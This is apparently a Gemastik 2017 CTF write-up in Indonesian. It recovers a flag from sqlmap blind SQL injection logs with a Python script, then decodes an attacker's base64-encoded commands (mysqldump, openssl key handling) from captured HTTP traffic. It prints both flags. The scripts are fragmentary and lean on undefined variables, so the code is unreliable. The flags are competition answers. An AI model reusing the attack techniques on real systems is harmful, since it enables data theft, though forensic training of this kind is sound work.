Pada query flag ini, sqlmap melakukan binary search untuk menebak satu per
satu karakter. Penebakan oleh sqlmap ini dimulai dengan apakah karakter itu
>64. Mengetahui hal ini kami membuat script untuk mengambil semua tebakan
sebeleum >64 ( yaitu tebakan yang menghasilkan nilai benar terakhir ). Karena
kami tidak mengetahui pasti karakter yang ditebak (bisa miss ± 1 ), akan
terdapat sedikit guessing.
Script :
import re
import urllib
f = open('sqlmap_get_flag').read()
f = urllib.unquote(f).split('\n')
flag_int.append(int(re.findall('>(\d*) ',f[i-1])[0]))
print flag
print flagplus1
Output :
GEMASSIK{kmow_sge_comceos_mos_sge_sooks!}
HFNBTTJL|lnpx`thf`dpndfpt`npt`thf`tpplt"~
FLAG: GEMASTIK{know_the_concept_not_the_tools!}
"Kabar mengenai keahlian Anda untuk melakukan digital forensic telah tersebar. Anda diundang
kembali untuk melakukan analisis post-incident untuk kasus berbeda. Tersedia berkas paket
Writeup Penyisihan Gemastik X Kategori Keamanan Jaringan & Sistem Informasi 2017
data jaringan yang mencurigakan. Sekilas memang terlihat ada yang aneh. Anda pun harus
menganalisis lebih lanjut untuk mengetahui apa yang terjadi."
Solusi
Untuk menghemat halaman, ringkasan dari ke 25 stream yaitu sebagai berikut :
def translate(s):
return h
print translate(useragent)
print translate(content)
Kami melakukan decode base64(dengan script diatas) untuk semua http request
yang ada , berikut hasilnya (beberapa hasil ada yang dipotong untuk menghemat
halaman):
Command =>
Response =>
mysqldump: [Warning] Using a password on the command line interface can be
insecure.
Command =>
openssl rsa -passin 'pass:hadehhhhhhhhh' -in hadehhh -outform PEM -pubout -out
hadehhhhhhh
Response =>
Command =>
cat had*
Response =>
Proc-Type: 4,ENCRYPTED
Writeup Penyisihan Gemastik X Kategori Keamanan Jaringan & Sistem Informasi 2017
DEK-Info: AES-256-CBC,F8C7EF1D8B102BFFF67ECE001565596D
WzF4e/60xVmlQ13f9MtfrN2Y/lxDbH7fnw3WwHNfVVhMz3o2kWx3DiEa2eSHx+aP
(dipotong)
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0Orw2yYuwlb9Cyq5c+17
(dipotong)
Command :
Response: -
Command :
Response:
U2FsdGVkX18iXlpVdO6JX2h7Pg+28q0QYyuUbXPJ2gftlSLoAUPeXAg9K/ahXi2CwE4okYsXdjgD
(dipotong)
Command :
openssl rsautl -encrypt -inkey hadehhhhhhh -pubin -in key.bin -out key.bin.enc
Command :
Response :
duzkoLCH/f2vtSDHBrDgeBnGaildO+XLRT2y4yyE4+j4oTy+PWd9v3k+AEY7j8bSZwwo64I6+vX0
(dipotong)
FLAG :
GEMASTIK{practical_hacking_and_forensic_investigator_not_multiple_choice}
Writeup Penyisihan Gemastik X Kategori Keamanan Jaringan & Sistem Informasi 2017